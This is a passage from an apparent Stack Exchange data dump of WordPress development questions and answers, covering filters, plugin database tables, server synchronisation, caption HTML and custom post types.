&quot;Remove featured image&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing &quot;Use as featured image&quot; seems to be a bit trickier, there isn't a filter for this. But I did &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14630&quot; rel=&quot;nofollow&quot;&gt;find a ticket in Trac&lt;/a&gt; where someone else was trying to do the same thing, and there was a suggestion to filter the translation string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution worked pretty well, I was able to change the &quot;Use as featured image&quot; text, but again it is for all post types and I'm not sure how to narrow it down:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter( 'gettext', 'meteorslides_use_featured', 9999, 4 );&#xA;&#xA;function meteorslides_use_featured( $translation, $text, $domain ) {&#xA;&#xA;    $translations = &amp;amp;get_translations_for_domain( $domain );&#xA;&#xA;    if ( $text == 'Use as featured image' ) {&#xA;&#xA;        return $translations-&amp;gt;translate( 'Use as slide image' );&#xA;&#xA;    }&#xA;&#xA;    return $translation;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The overlaid media window doesn't seem to &quot;know&quot; that I am loading it from a certain post type, so I'm not sure if this change is doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find an answer on here that showed &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1580/how-to-change-the-wording-in-wp-admin-back-end/1674#1674&quot;&gt;how to change these links with jQuery&lt;/a&gt;. I'd prefer to use filters, but if I could figure out how to limit that to one post type that'd be alright too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking around at some other plugins that use featured images but I haven't been able to find any that have changed all of these strings. Has anyone pulled this off?&lt;/p&gt;&#xA;" OwnerUserId="1059" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:22:40.003" LastActivityDate="2011-02-05T17:22:40.003" Title="Best way to filter featured image text for a custom post type?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;filters&gt;&lt;post-thumbnails&gt;&lt;translation&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="4271" PostTypeId="2" ParentId="4223" CreationDate="2010-11-18T22:34:11.960" Score="2" ViewCount="" Body="&lt;p&gt;WP doesn't add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not loading jQuery yourself, odds are that your theme and plugins probably will. You &lt;em&gt;want&lt;/em&gt; jQuery if it's around.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-18T22:34:11.960" />
  <row Id="4273" PostTypeId="1" CreationDate="2010-11-18T22:41:31.893" Score="4" ViewCount="185" Body="&lt;p&gt;I have a WordPress site running in a dedicated server in hosting A and I would like to keep it synchronized with a copy in another hosting server for fail over protection. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="231" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-22T16:20:14.693" LastActivityDate="2011-02-22T16:20:14.693" Title="How to keep a Wordpress site synchronized between two servers?" Tags="&lt;3.0&gt;&lt;backup&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="4274" PostTypeId="2" ParentId="4273" CreationDate="2010-11-18T23:20:05.980" Score="1" ViewCount="" Body="&lt;p&gt;You can mirror the database and the file-system. For File-system you can use rsync, and for the database, for example that level ;) &lt;a href=&quot;http://www.mysql.com/products/cluster/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysql.com/products/cluster/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-18T23:20:05.980" />
  <row Id="4275" PostTypeId="2" ParentId="4273" CreationDate="2010-11-19T01:13:31.090" Score="4" ViewCount="" Body="&lt;p&gt;I've been doing this successfully with csync and an NDB cluster for years...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re other solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rsync works too, albeit slower. (Much, much slower; slow enough to rule out any file-based caching.)&lt;/li&gt;&#xA;&lt;li&gt;InnoDB/MyIsam master/slave works too, with HyperDB. &lt;em&gt;But&lt;/em&gt;, you'll end up with a need to manage other stuff, namely auto-increments on write servers, if you need multiple write servers. (NDB is master/master, whereas InooDB or MyISAM cluster are designed and optimized for master/slave setups.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-19T01:13:31.090" CommentCount="2" />
  <row Id="4276" PostTypeId="1" AcceptedAnswerId="4322" CreationDate="2010-11-19T01:45:51.163" Score="2" ViewCount="343" Body="&lt;p&gt;I'm working on a voting plugin for my site and I want to create 2 tables: one that stores votes and another that stores voter ips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Codex it suggests to use an if statement to see if the table has already been created when installing the plugin but how can I alter the code if I'm creating 2 tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my if statement in the plugin install function, currently set to check if 1 table already exists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;   $table_name1 = $wpdb-&amp;gt;prefix . &quot;voters_ip&quot;;&#xA;   $table_name2 = $wpdb-&amp;gt;prefix . &quot;vote_posts&quot;;&#xA;   $installed_ver = get_option( &quot;postvote_version&quot; );  &#xA;&#xA;   if($wpdb-&amp;gt;get_var(&quot;show tables like '$table_name'&quot;) != $table_name1) { //unsure how to add both tables&#xA;&#xA;      $sql = &quot;CREATE TABLE &quot; . $table_name1 . &quot; (&#xA;      id bigint(20) NOT NULL AUTO_INCREMENT,&#xA;      vote_post_id bigint(20) NOT NULL,&#xA;      voter_ip varchar(100) NOT NULL,&#xA;      UNIQUE KEY id (id)&#xA;    );&quot;;&#xA;&#xA;      $sql = &quot;CREATE TABLE &quot; . $table_name2 . &quot; (&#xA;      id bigint(20) NOT NULL AUTO_INCREMENT,&#xA;      vote_post_id bigint(20) NOT NULL,&#xA;      up int(11) NOT NULL,&#xA;      ddown int(11) NOT NULL,&#xA;      UNIQUE KEY id (id)&#xA;    );&quot;;&#xA;&#xA;      require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;      dbDelta($sql);&#xA;&#xA;      add_option(&quot;postvote_version&quot;, $postvote_version);&#xA;   }&#xA;&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to check if both tables exist?&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-20T02:11:44.233" Title="Creating two database tables via plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;database&gt;&lt;wp-query&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="4277" PostTypeId="2" ParentId="4276" CreationDate="2010-11-19T03:19:05.170" Score="1" ViewCount="" Body="&lt;p&gt;If you're using unique table names, you can assume with a fair amount of confidence that table 2 exists if table 1 exists.  So I would only check for the existence of 1 and, if it's there, skip the scripts ... if it's not, run the scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also key off an option you set for your plug-in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the option exists (i.e. &lt;code&gt;get_option('my-voting-version')&lt;/code&gt;) then your plug-in is installed and you don't need to run your database scripts.&lt;/li&gt;&#xA;&lt;li&gt;If the option isn't there, run your scripts and set the option so you don't run them twice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even if the plug-in is removed, the option will remain so when it's reactivated you won't re-write the tables.  Storing your database version and running scripts based on that also gives you the power of managing upgrades.  You can then selectively run upgrade scripts based on what table version previously existed for the site.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-19T03:19:05.170" CommentCount="5" />
  <row Id="4278" PostTypeId="2" ParentId="4217" CreationDate="2010-11-19T04:27:08.323" Score="0" ViewCount="" Body="&lt;p&gt;chances are you could get it to display that way by altering the css properties for the code that the plugin spits out. particularly display: inline&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-11-19T04:27:08.323" CommentCount="1" />
  <row Id="4279" PostTypeId="1" AcceptedAnswerId="4280" CreationDate="2010-11-19T04:30:02.863" Score="2" ViewCount="148" Body="&lt;p&gt;A search didn't yield much results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, and how can each sub blog of a multi-site instalation be given its own domain name?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-11-19T19:14:34.907" Title="How To Provide Sub Blogs Their Own Domain Names?" Tags="&lt;multisite&gt;&lt;3.0.1&gt;&lt;settings&gt;&lt;domain&gt;&lt;setup&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4280" PostTypeId="2" ParentId="4279" CreationDate="2010-11-19T04:32:56.987" Score="5" ViewCount="" Body="&lt;p&gt;Shortly after, I was able to find Otto's tutorial on the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0: Multisite Domain Mapping Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-11-19T04:32:56.987" />
  <row Id="4281" PostTypeId="1" CreationDate="2010-11-19T08:02:55.657" Score="4" ViewCount="423" Body="&lt;p&gt;I'm using Wordpress 3.0.1 (most recent as of now) and working around the Whiteboard theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that for attachments (images, specifically), Wordpress generates the HTML automatically and it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;attachment_12&quot; class=&quot;wp-caption alignleft&quot; style=&quot;width: 310px&quot;&amp;gt;&#xA;&amp;lt;a rel=&quot;shadowbox&quot; href=&quot;http://new.michaellane.com/blog/wp-content/uploads/2010/11/areamapchange.png&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;size-medium wp-image-12 &quot; title=&quot;Area Map Improvments&quot; src=&quot;http://new.michaellane.com/blog/wp-content/uploads/2010/11/areamapchange-300x179.png&quot; alt=&quot;Area Map Improvments&quot; width=&quot;300&quot; height=&quot;179&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;Area Map Improvments&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that some of these attributes can be changed in the editing screen itself - however I want to change the default HTML code structure so that I can insert additional tags, CSS classes etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a method to achieve this without editing any files outside the wp-content folder - in other words, there must be a template-based way to do this.. any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1631" LastActivityDate="2010-11-20T01:19:33.000" Title="How to customize the default HTML for Wordpress Attachments" Tags="&lt;3.0&gt;&lt;template&gt;&lt;css&gt;&lt;html&gt;" AnswerCount="2" />
  <row Id="4282" PostTypeId="1" AcceptedAnswerId="4357" CreationDate="2010-11-19T08:14:15.600" Score="1" ViewCount="192" Body="&lt;p&gt;I have certain names in my category title (that need to stay there for other reasons). I am displaying all category titles with the blog name prefixed, but on categories that already have this name I would like to automatically remove the blog name from the single_cat_title. i.e. &quot;My Blog My Blog Category&quot; is what is showing using    but where single_cat_title allready has the blogname as part of the title, I would like to only show &quot;My Blog Category&quot;. Can one do this with single_cat_title as I have used it everywhere and manually replacing these would be problemattic?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2010-11-20T23:16:10.227" Title="how do I filter single_cat_title to remove all instances of a particlular word" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="4283" PostTypeId="1" CreationDate="2010-11-19T08:56:11.950" Score="0" ViewCount="200" Body="&lt;p&gt;I cannot figure out how to use the wp_list_categories function to do what I need it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_page('realisations')) { ?&amp;gt;&#xA;&amp;lt;ul id=&quot;subpage&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Les secteurs&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('child_of=3&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php }; if(is_category() or is_single()) { ?&amp;gt;&#xA;&amp;lt;ul id=&quot;subpage&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;Les secteurs&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('child_of=3&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php }; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this doesn't come off as too convoluted. It does what I need it to do, despite not being very elegant. I have it set up so that all of the project categories are child categories of the a main category (&lt;code&gt;child_of=3&lt;/code&gt;) This is to avoid conflicts with the news section of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I need the category the post is in to highlight when viewing the single.php page template, but I don't know how to accomplish that. When on a category page the category view highlights correctly because I styled the class that WordPress adds into the generated list &lt;code&gt;.current-cat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a crosspost from the normal StackExchange site, it was suggested that I submit the problem here.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-22T09:29:39.767" Title="WordPress Category Question" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="4284" PostTypeId="2" ParentId="4217" CreationDate="2010-11-19T10:05:40.640" Score="0" ViewCount="" Body="&lt;p&gt;I've responded to your thread on the WP forums, see here..&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/simple-question-about-similar-posts-plugin&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/simple-question-about-similar-posts-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do what you want from the plugin's settings page..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Following the CSS suggestion, if you wanted to try this method.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Leave the fields as they were&lt;/li&gt;&#xA;&lt;li&gt;Update the &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; field to now read &lt;code&gt;&amp;lt;ul id=&quot;my_special_id&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Update your theme's style.css file with the below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example CSS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#my_special_id, &#xA;#my_special_id li { display:inline; }&#xA;#my_special_id li a { margin-right: 5px; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should result in the list items displaying side by side. The margin is to push the items away from one another, else they'll look like one long sting..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{link}&lt;/code&gt; text is basically just a placeholder for output produced by the plugin, not much different to how a shortcode works...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-11-20T10:49:41.983" LastActivityDate="2010-11-20T10:49:41.983" CommentCount="15" />
  <row Id="4285" PostTypeId="2" ParentId="4273" CreationDate="2010-11-19T10:35:21.047" Score="0" ViewCount="" Body="&lt;p&gt;This should maybe be handled on a lower level. Have your webserver run on a virtual machine and distribute the container. They call this &quot;cloud&quot; nowadays.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-19T10:35:21.047" />
  <row Id="4286" PostTypeId="2" ParentId="4273" CreationDate="2010-11-19T10:47:52.460" Score="0" ViewCount="" Body="&lt;p&gt;Doing MySQL replication isn't the easiest thing in the world,, and requires another server somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be tempted by something like VaultPress (http://vaultpress.com/features/), even if it doesn't provide true hot stand-by failover. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-19T10:47:52.460" />
  <row Id="4287" PostTypeId="2" ParentId="4281" CreationDate="2010-11-19T10:52:27.137" Score="6" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to change the default HTML code structure so that I can insert additional tags&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Run a filter on &lt;code&gt;img_caption_shortcode&lt;/code&gt;, you can find that hook in the source here.&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/media.php#L720&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/media.php#L720&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'img_caption_shortcode', 'my_caption_html', 10, 3 );&#xA;function my_caption_html( $current_html, $attr, $content ) {&#xA;    extract(shortcode_atts(array(&#xA;        'id'    =&amp;gt; '',&#xA;        'align' =&amp;gt; 'alignnone',&#xA;        'width' =&amp;gt; '',&#xA;        'caption' =&amp;gt; ''&#xA;    ), $attr));&#xA;    if ( 1 &amp;gt; (int) $width || empty($caption) )&#xA;        return $content;&#xA;&#xA;    if ( $id ) $id = 'id=&quot;' . esc_attr($id) . '&quot; ';&#xA;&#xA;    return '&amp;lt;div ' . $id . 'class=&quot;wp-caption ' . esc_attr($align) . '&quot; style=&quot;width: ' . (10 + (int) $width) . 'px&quot;&amp;gt;'&#xA;. do_shortcode( $content ) . '&amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;' . $caption . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've basically borrowed most of the code from the original function to use in the filter, but it should give you something to build on top of...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-11-19T11:59:55.560" LastActivityDate="2010-11-19T11:59:55.560" CommentCount="0" />
  <row Id="4289" PostTypeId="2" ParentId="4262" CreationDate="2010-11-19T12:28:15.767" Score="2" ViewCount="" Body="&lt;p&gt;Also you can see on the WP Stack, &lt;a href=&quot;http://wordpress-buch.bueltge.de/das-wordpress-buch/downloads/seite-242/&quot; rel=&quot;nofollow&quot;&gt;here my version&lt;/a&gt; for download.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-11-19T16:46:01.013" LastActivityDate="2010-11-19T16:46:01.013" CommentCount="1" />
  <row Id="4290" PostTypeId="1" AcceptedAnswerId="4295" CreationDate="2010-11-19T13:35:23.023" Score="2" ViewCount="270" Body="&lt;p&gt;I'm calling media-upload.php via a custom icon click inside the content editor and I would like to add a custom meta value for all images that are uploaded when the media-upload.php is called from my custom function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for each of the images that are uploaded, I want to insert a value into wp_postmeta of _customAttachment = 1 like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta($post['ID'], '_customAttachment', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how I can pass the current post-id to the media-upload.php (via querystring parameters), but I have no idea how to attach my update_post_meta filter to the save/upload trigger in media-upload.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a filter for this?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-19T16:45:21.047" Title="Can I add custom meta for each image uploaded via media-upload.php?" Tags="&lt;filters&gt;&lt;uploads&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4291" PostTypeId="1" AcceptedAnswerId="4301" CreationDate="2010-11-19T13:37:17.110" Score="2" ViewCount="1233" Body="&lt;p&gt;I have created a page that uses custom posts: &lt;a href=&quot;http://www.africanhealthleadership.org/resources/toolkit/&quot; rel=&quot;nofollow&quot;&gt;http://www.africanhealthleadership.org/resources/toolkit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each tool (Preparation, Assessment, etc.) is a custom post.  On the WP Admin, each tool is a category; each category has a &quot;description&quot; field.  I would like to output those descriptions on the Toolkit page.  I tried using this and nothing displayed: &#xA;&lt;code&gt;&amp;lt;?php echo category_description( $category ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the descriptions are hard-coded in to the page.  The one for preparation begins &#xA;&quot;Preparation tools establish...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any ideas!&#xA;Jeff&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the loop that spits out the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts( array( 'post_type' =&amp;gt; 'portfolio', 'toolkit' =&amp;gt; 'preparation' ) );&#xA;//the loop start here&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;?&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; endif; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Here is the code from functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio_register');&#xA;&#xA;function portfolio_register() {&#xA;&#xA;$labels = array(&#xA;    'name' =&amp;gt; _x('Toolkit', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Tool', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New Tool', 'tool'),&#xA;    'add_new_item' =&amp;gt; __('Add New Tool'),&#xA;    'edit_item' =&amp;gt; __('Edit Tool'),&#xA;    'new_item' =&amp;gt; __('New Tool'),&#xA;    'view_item' =&amp;gt; __('View Tool'),&#xA;    'search_items' =&amp;gt; __('Search Toolkit'),&#xA;    'not_found' =&amp;gt;  __('Nothing found'),&#xA;    'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;);&#xA;&#xA;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/article16.png',&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','thumbnail')&#xA;  ); &#xA;&#xA;register_post_type( 'portfolio' , $args );&#xA;}&#xA;&#xA;register_taxonomy(&quot;toolkit&quot;, array(&quot;portfolio&quot;), array(&quot;hierarchical&quot; =&amp;gt; true,   &quot;label&quot;     =&amp;gt; &quot;Tool Categories&quot;, &quot;singular_label&quot; =&amp;gt; &quot;Tool&quot;, &quot;rewrite&quot; =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1097" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-19T22:10:25.640" LastActivityDate="2010-12-09T17:24:13.127" Title="How to display category information from a custom post" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="4292" PostTypeId="1" CreationDate="2010-11-19T15:20:09.917" Score="0" ViewCount="146" Body="&lt;p&gt;Does anyone know why querying custom fields does not work in the Carrington mobile theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post, 'key', true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the query does not return anything. Anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (have_posts()) : the_post();&#xA;    $category = get_the_category($post); &#xA;&#xA;    $title = get_the_title($post-&amp;gt;ID);&#xA;    $link = get_permalink($post-&amp;gt;ID);&#xA;    $store = $category[0]-&amp;gt;cat_name;&#xA;    $volum = get_post_meta($post-&amp;gt;ID, '2Volum', true);&#xA;    $produsent = get_post_meta($post-&amp;gt;ID, '1Produsent', true);&#xA;    $pris = get_post_meta($post-&amp;gt;ID, '3Pris', true);&#xA;&#xA;    echo '&amp;lt;a href=&quot;' . $link . '&quot;&amp;gt;';&#xA;    echo '&amp;lt;div class=&quot;clear offer&quot;&amp;gt;';&#xA;    echo '&amp;lt;h1 class=&quot;alignleft&quot;&amp;gt;' . $title . '&amp;lt;/h1&amp;gt;';&#xA;    echo '&amp;lt;p class=&quot;alignright price&quot;&amp;gt;' . $pris . '&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;p class=&quot;alignleft clearleft&quot;&amp;gt;' .$produsent . '&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;p class=&quot;alignleft&quot;&amp;gt;' . $volum . '&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;/a&amp;gt;';&#xA;&#xA;endwhile; // End the loop. Whew. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="1635" LastEditorDisplayName="" LastEditDate="2010-11-22T17:41:45.763" LastActivityDate="2010-11-23T09:55:37.217" Title="Querying custom fields with Carrington mobile theme" Tags="&lt;mobile&gt;" AnswerCount="1" />
  <row Id="4293" PostTypeId="1" AcceptedAnswerId="4315" CreationDate="2010-11-19T15:35:28.707" Score="4" ViewCount="449" Body="&lt;p&gt;Does anyone happen to know how to create a simple &quot;attach/browse&quot; button that can be placed into a metabox which upon clicking it would open a lightbox where the user would be able to view all the media files, tick the ones he wants to attach and click an &quot;attach&quot; button on the bottom. After clicking &quot;attach&quot; the post metabox would update with all the files he selected...&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-19T21:09:52.167" Title="Attach Files Metabox" Tags="&lt;metabox&gt;&lt;media&gt;&lt;uploads&gt;&lt;library&gt;&lt;media-library&gt;" AnswerCount="2" FavoriteCount="6" />
  <row Id="4294" PostTypeId="1" AcceptedAnswerId="8623" CreationDate="2010-11-19T15:42:13.323" Score="0" ViewCount="307" Body="&lt;p&gt;Within wordpress 3.0 you have the ability to create a custom header image with a very slick built in cropping tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that the code being utilized for this is located within wp-admin/custom-header.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking to do is including this same functionality within my own custom post type so that I can create many header images and rotate through them while also adding additional fields to each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code from the custom-header.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The custom header image script.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Administration&#xA; */&#xA;&#xA;/**&#xA; * The custom header image class.&#xA; *&#xA; * @since 2.1.0&#xA; * @package WordPress&#xA; * @subpackage Administration&#xA; */&#xA;class Custom_Image_Header {&#xA;&#xA;    /**&#xA;     * Callback for administration header.&#xA;     *&#xA;     * @var callback&#xA;     * @since 2.1.0&#xA;     * @access private&#xA;     */&#xA;    var $admin_header_callback;&#xA;&#xA;    /**&#xA;     * Callback for header div.&#xA;     *&#xA;     * @var callback&#xA;     * @since 3.0.0&#xA;     * @access private&#xA;     */&#xA;    var $admin_image_div_callback;&#xA;&#xA;    /**&#xA;     * Holds default headers.&#xA;     *&#xA;     * @var array&#xA;     * @since 3.0.0&#xA;     * @access private&#xA;     */&#xA;    var $default_headers = array();&#xA;&#xA;    /**&#xA;     * Holds the page menu hook.&#xA;     *&#xA;     * @var string&#xA;     * @since 3.0.0&#xA;     * @access private&#xA;     */&#xA;    var $page = '';&#xA;&#xA;    /**&#xA;     * PHP4 Constructor - Register administration header callback.&#xA;     *&#xA;     * @since 2.1.0&#xA;     * @param callback $admin_header_callback&#xA;     * @param callback $admin_image_div_callback Optional custom image div output callback.&#xA;     * @return Custom_Image_Header&#xA;     */&#xA;    function Custom_Image_Header($admin_header_callback, $admin_image_div_callback = '') {&#xA;        $this-&amp;gt;admin_header_callback = $admin_header_callback;&#xA;        $this-&amp;gt;admin_image_div_callback = $admin_image_div_callback;&#xA;    }&#xA;&#xA;    /**&#xA;     * Set up the hooks for the Custom Header admin page.&#xA;     *&#xA;     * @since 2.1.0&#xA;     */&#xA;    function init() {&#xA;        if ( ! current_user_can('edit_theme_options') )&#xA;            return;&#xA;&#xA;        $this-&amp;gt;page = $page = add_theme_page(__('Header'), __('Header'), 'edit_theme_options', 'custom-header', array(&amp;amp;$this, 'admin_page'));&#xA;&#xA;        add_action(&quot;admin_print_scripts-$page&quot;, array(&amp;amp;$this, 'js_includes'));&#xA;        add_action(&quot;admin_print_styles-$page&quot;, array(&amp;amp;$this, 'css_includes'));&#xA;        add_action(&quot;admin_head-$page&quot;, 